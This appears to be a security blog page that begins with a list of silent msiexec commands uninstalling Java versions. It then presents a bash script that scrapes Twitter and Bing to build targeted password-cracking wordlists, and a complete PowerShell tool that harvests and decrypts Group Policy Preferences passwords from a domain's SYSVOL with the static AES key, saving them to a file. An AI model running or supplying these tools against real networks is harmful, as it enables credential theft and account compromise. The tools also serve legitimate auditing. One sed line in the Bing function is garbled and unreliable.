msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0160080} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {3248F0A8-6813-11D6-A77B-00B0D0160090} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {32A3A4F4-B792-11D6-A78A-00B0D0150060} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {32A3A4F4-B792-11D6-A78A-00B0D0160200} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {32A3A4F4-B792-11D6-A78A-00B0D0160210} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {32A3A4F4-B792-11D6-A78A-00B0D0160220} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {32A3A4F4-B792-11D6-A78A-00B0D0160230} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {32A3A4F4-B792-11D6-A78A-00B0D0160240} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {32A3A4F4-B792-11D6-A78A-00B0D0160250} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {32A3A4F4-B792-11D6-A78A-00B0D0160260} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {32A3A4F4-B792-11D6-A78A-00B0D0160270} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {32A3A4F4-B792-11D6-A78A-00B0D0160280} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {32A3A4F4-B792-11D6-A78A-00B0D0160290} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {32A3A4F4-B792-11D6-A78A-00B0D0160310} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {32A3A4F4-B792-11D6-A78A-00B0D0160320} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {32A3A4F4-B792-11D6-A78A-00B0D0160330} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {32A3A4F4-B792-11D6-A78A-00B0D0170000} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {32A3A4F4-B792-11D6-A78A-00B0D0170010} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {32A3A4F4-B792-11D6-A78A-00B0D0170020} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {32A3A4F4-B792-11D6-A78A-00B0D0170030} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {32A3A4F4-B792-11D6-A78A-00B0D0170040} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {32A3A4F4-B792-11D6-A78A-00B0D0170050} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {4A03706F-666A-4037-7777-5F2748764D10} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {7148F0A8-6813-11D6-A77B-00B0D0142000} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {7148F0A8-6813-11D6-A77B-00B0D0142010} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {7148F0A8-6813-11D6-A77B-00B0D0142020} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {7148F0A8-6813-11D6-A77B-00B0D0142030} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {7148F0A8-6813-11D6-A77B-00B0D0142040} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {7148F0A8-6813-11D6-A77B-00B0D0142050} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {7148F0A8-6813-11D6-A77B-00B0D0142060} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {7148F0A8-6813-11D6-A77B-00B0D0142070} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {7148F0A8-6813-11D6-A77B-00B0D0142080} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {7148F0A8-6813-11D6-A77B-00B0D0142090} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {7148F0A8-6813-11D6-A77B-00B0D0142100} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {7148F0A8-6813-11D6-A77B-00B0D0142110} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {7148F0A8-6813-11D6-A77B-00B0D0142120} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {7148F0A8-6813-11D6-A77B-00B0D0142130} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {7148F0A8-6813-11D6-A77B-00B0D0142140} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {7148F0A8-6813-11D6-A77B-00B0D0142150} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress
msiexec /x {7148F0A8-6813-11D6-A77B-00B0D0142160} /qn /norestart /log c:\temp\purgejava.log REBOOT=Suppress

More Information:

Shell Script: Use Twitter and Bing to Generate Wordlists

There are some great wordlists out there for sure… but a targeted wordlist that fits with the subject of the target site/database can prove to be much more effective.  Joshua Dustin posted to his blog recently about this and I thought this was an excellent idea and wanted to take it a little bit further.  This script adds some automation to his idea and also adds a word-grab from Bing as well.  Since it’s a little more modularized in this script it’ll be easy to add other word sources.  I’ll be adding more soon once I have additional time to do so.  Please check out his post for further information on why this type of wordlist generation can be so effective.  He does a great job explaining it.

I have a few other things in the works I had intended on releasing sooner (rather than another post based on someone else’ idea) but those scripts are getting near-daily updates due to the fact that I’m using them constantly.  One just got a roughly 20x speed boost today thanks to some command-line option changes.  Don’t worry, though, they’re worth the wait!  Now, on to the code;

Running this script:

  • Run it using as many keywords as you’d like to scrape off the web:
    • ./wordlistgen.sh your keywords go here
#!/bin/bash
#################################################
# Internet Wordlist Generator by:               #
#      Nathan V                                 #
#      Cyber Security Analyst                   #
#      http://nathanv.com                       #
#                                               #
# For assistance and new versions contact       #
#      nathan.v@gmail.com                       #
# This file updated:               18 July 2012 #
#################################################
# This script (c)2012 Nathan V : License: GPLv3 #
# This is free software, and you are welcome to #
# redistribute it under certain conditions; See #
# http://www.gnu.org/licenses/gpl.html          #
#################################################
# getTweets() is based on twitter.sh by:        #
#      Joshua Dustin                            #
#7habitsofhighlyeffectivehackers.blogspot.com.au#
#################################################

#import arguments
args="$@"

#clear screen and check for input parameter
clear
if [ -z "$1" ]
then
    echo "Missing input parameters.  Please use $0  "
    kill -int $$
else
  echo ""
fi

# scrape Twitter for tweets containing your keywords
getTweets() {
	local key=$1
	echo -n "Grabing for keyword $key..."
	wget -q "http://search.twitter.com/search.json?q=$key&rpp=500" -O result.json
	cat result.json | tr "," \\n | grep "^\"text" | cut -d"\"" -f4- | tr " " \\n | sed -e 's~&~~' | sed -e 's~>~~' | sed -e 's~<~~' | sed s/[\"=\|?.\!\(\):\;]//g | sed s/\^\#//g | sed s/\^\@//g | sed '/^$/d' | grep -v "^http:" | grep -v "\\\\" >> wl.temp
	rm -f result.json
	echo " complete."
	sleep .1
}

# scrape Bing for search results related to your keywords
getBing() {
	local key=$1
	echo -n "Grabing for keyword $key..."
	wget -q "http://api.search.live.com/rss.aspx?source=web&query=$key" -O result.rss
	cat result.rss | sed -e 's~&~~' | sed -e 's~>~~' | sed -e 's~<~~' | sed -e :a -e 's/<[^<]*>/ /g;/> wl.temp
	rm -f result.rss
	echo " complete."
	sleep .1
}

# loop through keywords calling the twitter scrape function
echo "Starting Twitter grabs..."
for word in $args
	do
	getTweets $word
	done
echo ""

# loop through keywords calling the bing scrape function
echo "Starting Bing grabs..."
for word in $args
	do
	getBing $word
	done
echo ""

# sort/unique/clean up results
echo "Sorting wordlist..."
cat wl.temp | sort -u >> wordlist.list
sort -u wordlist.list | uniq -u | sort -o wordlist.list
sed -i '/^$/d' wordlist.list
rm -f wl.temp
echo ""

# this while block allows us to re-scrape using the keywords found in the original grabs.
while [ -z $quit ]
	do
	listLength=`wc -l wordlist.list | awk '{print $1}'`
	echo "Wordlist contains $listLength words so far.  We can re-scan"
	echo "using the words in this list to find even more or we can quit."
	echo ""
	echo "Type q to exit or press [ENTER] to re-scan"
	read -n1 quit
	if [ $quit ]
	then 
		echo ""
		echo ""
		break
	else
		# loop through current results calling the twitter scrape function
		echo "Starting twitter grabs..."

		cat wordlist.list | while read word;
			do
			getTweets $word
			done
		echo ""

		# loop through current results calling the bing scrape function
		echo "Starting Bing grabs..."
		cat wordlist.list | while read word;
			do
			getBing $word
			done
		echo ""

		# sort/unique/clean up results once more
		echo "Sorting wordlist..."
		cat wl.temp | sort -u >> wordlist.list
		sort -u wordlist.list | uniq -u | sort -o wordlist.list
		rm -f wl.temp
		echo ""
	fi
	done

rm -f result.json 2> /dev/null
rm -f result.rss 2> /dev/null
listLength=`wc -l wordlist.list | awk '{print $1}'`
echo "Worlist complete:  $listLength words."

More Information:

PShell Script: Extract All GPO Set Passwords From Domain

This script parses the domain’s Policies folder looking for Group.xml files.  These files contain either a username change, password setting, or both.  This gives you the raw data for local accounts and/or passwords enforced using Group Policy Preferences.  Microsoft chose to use a static AES key for encrypting this password.  How awesome is that!

The password is encrypted once with AES  in CBC mode at 256 bits.  The key used is:

4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8 f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b

A big thank you to my friend Keith B who helped me with tips for the PowerShell code.  I definitely do not have a background working with PS and learned some cool things along the way.

This script was modified from original work by Chris Campbell as noted in the comments.

Update:  21 Oct 2012:  With feedback from Piet Carpentier (@DFTER) and ‘Joe’ I’ve modified the decryptPassword function to correct an issue where the string was sometimes too long or not returned which was returning as a failed decryption rather than a missing string or incorrectly decoded string.  Thanks guys!

Update:  14 Dec 2012:  Reviewed this and found a couple things I could fix or improve on.  The functions return better information and I fixed a bug that caused decryption failures in some cases.

Running this script:

  • Run it against the current domain to find everything:
    • PS C:\> .\GPO-Passwords.ps1
  • Run it against a local copy of a Groups.xml file:
    • PS C:\> .\GPO-Passwords.ps1 -local .\Groups.xml
<#
#################################################
# Group Policy Preferences Password check by:   #
# Nathan V                                      #
# Cyber Security Analyst                        #
# http://nathanv.com                            #
#                                               #
# For assistance and new versions contact       #
# nathan.v@gmail.com                            #
# This file updated: 14 Dec 2012                #
#################################################
# This script (c)2012 Nathan V : License: GPLv2 #
# This is free software, and you are welcome to #
# redistribute it under certain conditions; See #
# http://www.gnu.org/licenses/gpl.html          #
#################################################
# Based on Get-GPPPassword by:                  #
# Chris Campbell                                #
# www.obscuresecurity.blogspot.com              #
# @obscuresec                                   #
#################################################
#>
Param(
    [alias("local")]
    $localfile)

# Import the Group Policy module;  required for finding the GPO name for each password.  If this fails the names will not resolve but other functions will still work.
import-module grouppolicy -ea SilentlyContinue
$results = @()  # declare dynamic results array

# Function to allow us to go to the network DIR and then return back to where we started
function cdir {
    if ($args[0] -eq '-') {
            $pwd=$OLDPWD;
        } else {
            $pwd=$args[0];
        }
        $tmp=pwd;
        if ($pwd) {
            Set-Location $pwd;
        }
    Set-Variable -Name OLDPWD -Value $tmp -Scope global;
}

#Function to pull encrypted password string from groups.xml
function parsecPassword {
    try {
        [xml] $Xml = Get-Content ($Path)
        [string] $cPassword = $Xml.Groups.User.Properties.cpassword
    } catch { $cPassword = "No Password Policy Found" }
    return $cPassword
}
#Function to look to see if the administrator account is given a newname
function parseNewName {
    try {
    [xml] $Xml = Get-Content ($Path)
    [string] $newName = $Xml.Groups.User.Properties.newName
    if ($newName) {
      return $newName
    } else {
      return "No Username Specified"
    }
    } catch { $newName = "Error" }
}
#Function to parse out the Username whose password is being specified
function parseUserName {
    try {
        [xml] $Xml = Get-Content ($Path)
        [string] $userName = $Xml.Groups.User.Properties.userName
    if ($userName) {
      return $userName
    } else {
      return "No Username Specified"
    }
    } catch { $userName = "Error" }
}

#Function that decodes and decrypts password
function decryptPassword {
    try {
    if( $cPassword.Length -eq 0 ) {
      return "Empty Password!"
    } elseif( $cPassword.Length -gt 64 ) {
      [string]$cPassword = [string]$cPassword.Substring(0,64)
    } else {`
      [string]$Pad = "=" * (4 - ($cPassword.length % 4))
    }
        $b64Decoded = [Convert]::FromBase64String($cPassword + $Pad)
        $aesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
        [Byte[]] $aesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
        $aesIV = New-Object Byte[]($aesObject.IV.Length)
        $aesObject.IV = $aesIV
        $aesObject.Key = $aesKey
        $decryptorObject = $aesObject.CreateDecryptor()
        [Byte[]] $outBlock = $decryptorObject.TransformFinalBlock($b64Decoded, 0, $b64Decoded.length)
        return [System.Text.UnicodeEncoding]::Unicode.GetString($outBlock)
    } catch { return "Decryption Failed!" }
}

# Function to find the policy name to locate where the password is valid
function getGPO {
    $guid = $Path.Substring(1,36)
    try {
        $gpoName = get-gpo -guid $guid | Select-Object -ExpandProperty DisplayName
    } catch {
        $gpoName = "Unable to find GPO name"
    }
    return $gpoName
}

# Function to parse the XML, decrypt the key, and return the results.
function parseDecrypt($path) {
    $cPassword = parsecPassword
    $password = decryptPassword
    $newName = parseNewName
    $userName = parseUserName
    if ($localfile -eq $null) {$gpo = getGPO} else {$gpo = "Local file"}
    $results = "$username, $newName, $password, $gpo"
    return $results
}
Clear-Host
if ($localfile -eq $null) {
    Write-Host "Searching $Env:UserDNSDomain for Group Policy Preferences passwords."
    Write-Host "On a large domain this may take some time. Please wait..."
    $sourceXML = Get-ChildItem -Path "\\$Env:UserDNSDomain\SYSVOL\$Env:UserDNSDomain\Policies" -recurse -name -include Groups.xml
    cdir \\$Env:UserDNSDomain\SYSVOL\$Env:UserDNSDomain\Policies\  # Due to the potential length of the filenames given a long domain name we CD to the Policies folder to shrink it down
    } else {
    Write-Host "-local used; checking file $file"
    $sourceXML = $localfile
    }

Write-Host " "
Write-Host "Username, New name (if any), Password, source GPO:"
Write-Host " "

foreach($file in $sourceXML) { 
    $results += parseDecrypt $file
    }
if ($localfile -eq $null) {cdir -}
"Username, New name (if any), Password, source GPO:" > ".\domain_passwords.txt"
foreach($result in $results) {
    Write-Host $result
    $result >> ".\domain_passwords.txt"
    }
Write-Host " "
Write-Host "List of discovered setttings saved as .\domain_passwords.txt"

More Information: